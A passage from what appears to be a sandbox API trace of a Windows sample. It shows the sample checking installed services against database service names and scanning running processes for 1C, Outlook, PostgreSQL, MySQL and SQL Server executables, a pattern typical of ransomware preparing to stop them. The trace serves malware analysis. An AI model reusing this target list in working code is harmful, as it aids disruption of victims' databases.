lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0114.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0114.225] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0114.225] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0114.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0114.225] lstrlenW (lpString="EventSystem") returned 11 [0114.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0114.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0114.225] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0114.225] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0114.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0114.225] lstrlenW (lpString="gpsvc") returned 5 [0114.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0114.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0114.225] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0114.225] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0114.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0114.225] lstrlenW (lpString="iphlpsvc") returned 8 [0114.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0114.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0114.225] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0114.225] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0114.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0114.225] lstrlenW (lpString="LanmanServer") returned 12 [0114.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0114.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0114.225] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0114.225] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0114.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0114.225] lstrlenW (lpString="LanmanWorkstation") returned 17 [0114.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0114.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0114.225] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0114.225] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0114.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0114.225] lstrlenW (lpString="lmhosts") returned 7 [0114.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0114.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0114.225] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0114.225] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0114.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0114.226] lstrlenW (lpString="MMCSS") returned 5 [0114.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0114.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0114.226] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0114.226] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0114.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0114.226] lstrlenW (lpString="MpsSvc") returned 6 [0114.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0114.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0114.226] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0114.226] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0114.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0114.226] lstrlenW (lpString="Netman") returned 6 [0114.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0114.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0114.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0114.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0114.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0114.226] lstrlenW (lpString="netprofm") returned 8 [0114.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0114.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0114.226] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0114.226] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0114.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0114.226] lstrlenW (lpString="NlaSvc") returned 6 [0114.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0114.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0114.226] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0114.226] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0114.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0114.226] lstrlenW (lpString="nsi") returned 3 [0114.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0114.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0114.226] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0114.226] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0114.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0114.226] lstrlenW (lpString="PcaSvc") returned 6 [0114.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0114.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0114.226] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0114.226] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0114.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0114.226] lstrlenW (lpString="PlugPlay") returned 8 [0114.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0114.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0114.227] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0114.227] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0114.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0114.227] lstrlenW (lpString="Power") returned 5 [0114.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0114.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0114.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0114.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0114.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0114.227] lstrlenW (lpString="ProfSvc") returned 7 [0114.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0114.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0114.227] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0114.227] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0114.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0114.227] lstrlenW (lpString="RpcEptMapper") returned 12 [0114.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0114.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0114.227] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0114.227] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0114.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0114.227] lstrlenW (lpString="RpcSs") returned 5 [0114.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0114.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0114.227] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0114.227] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0114.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0114.227] lstrlenW (lpString="SamSs") returned 5 [0114.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0114.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0114.227] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0114.227] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0114.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0114.227] lstrlenW (lpString="Schedule") returned 8 [0114.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0114.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0114.227] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0114.227] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0114.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0114.227] lstrlenW (lpString="SENS") returned 4 [0114.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0114.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0114.227] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0114.228] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0114.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0114.228] lstrlenW (lpString="ShellHWDetection") returned 16 [0114.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0114.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0114.228] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0114.228] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0114.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0114.228] lstrlenW (lpString="Spooler") returned 7 [0114.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0114.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0114.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0114.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0114.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0114.228] lstrlenW (lpString="SysMain") returned 7 [0114.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0114.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0114.228] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0114.228] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0114.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0114.228] lstrlenW (lpString="Themes") returned 6 [0114.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0114.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0114.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0114.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0114.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0114.228] lstrlenW (lpString="TrkWks") returned 6 [0114.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0114.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0114.228] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0114.228] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0114.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0114.228] lstrlenW (lpString="UxSms") returned 5 [0114.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0114.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0114.228] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0114.228] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0114.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0114.228] lstrlenW (lpString="WdiServiceHost") returned 14 [0114.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0114.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0114.228] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0114.228] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0114.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0114.229] lstrlenW (lpString="WdiSystemHost") returned 13 [0114.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0114.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0114.229] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0114.229] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0114.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0114.229] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0114.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0114.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0114.229] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0114.229] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0114.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0114.229] lstrlenW (lpString="Winmgmt") returned 7 [0114.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0114.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0114.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0114.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0114.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0114.229] lstrlenW (lpString="WPDBusEnum") returned 10 [0114.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0114.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0114.229] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0114.229] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0114.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0114.229] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0114.229] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d4 [0114.231] Process32FirstW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.231] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.231] lstrlenW (lpString="System") returned 6 [0114.231] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0114.231] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0114.231] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0114.231] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0114.231] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0114.231] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0114.231] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0114.231] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.231] lstrlenW (lpString="smss.exe") returned 8 [0114.231] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0114.231] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0114.231] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0114.231] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0114.232] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0114.234] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0114.234] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0114.234] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.234] lstrlenW (lpString="csrss.exe") returned 9 [0114.235] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0114.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0114.235] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0114.235] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0114.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0114.235] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0114.235] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0114.235] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.235] lstrlenW (lpString="wininit.exe") returned 11 [0114.235] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0114.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0114.235] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0114.235] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0114.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0114.235] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0114.235] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0114.235] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.235] lstrlenW (lpString="csrss.exe") returned 9 [0114.235] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0114.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0114.235] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0114.235] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0114.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0114.235] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0114.235] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.236] lstrlenW (lpString="winlogon.exe") returned 12 [0114.236] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.236] lstrlenW (lpString="services.exe") returned 12 [0114.236] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.236] lstrlenW (lpString="lsass.exe") returned 9 [0114.236] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0114.236] lstrlenW (lpString="lsm.exe") returned 7 [0114.236] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.237] lstrlenW (lpString="svchost.exe") returned 11 [0114.237] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.237] lstrlenW (lpString="svchost.exe") returned 11 [0114.237] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.237] lstrlenW (lpString="svchost.exe") returned 11 [0114.237] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.237] lstrlenW (lpString="svchost.exe") returned 11 [0114.237] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.238] lstrlenW (lpString="svchost.exe") returned 11 [0114.238] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.238] lstrlenW (lpString="audiodg.exe") returned 11 [0114.238] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.238] lstrlenW (lpString="svchost.exe") returned 11 [0114.238] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.238] lstrlenW (lpString="svchost.exe") returned 11 [0114.238] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0114.239] lstrlenW (lpString="userinit.exe") returned 12 [0114.239] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.239] lstrlenW (lpString="dwm.exe") returned 7 [0114.239] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.239] lstrlenW (lpString="explorer.exe") returned 12 [0114.239] Process32NextW (in: hSnapshot=0x3d4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.239] lstrlenW (lpString="spoolsv.exe") returned 11 [0114.239] Process32NextW (in: 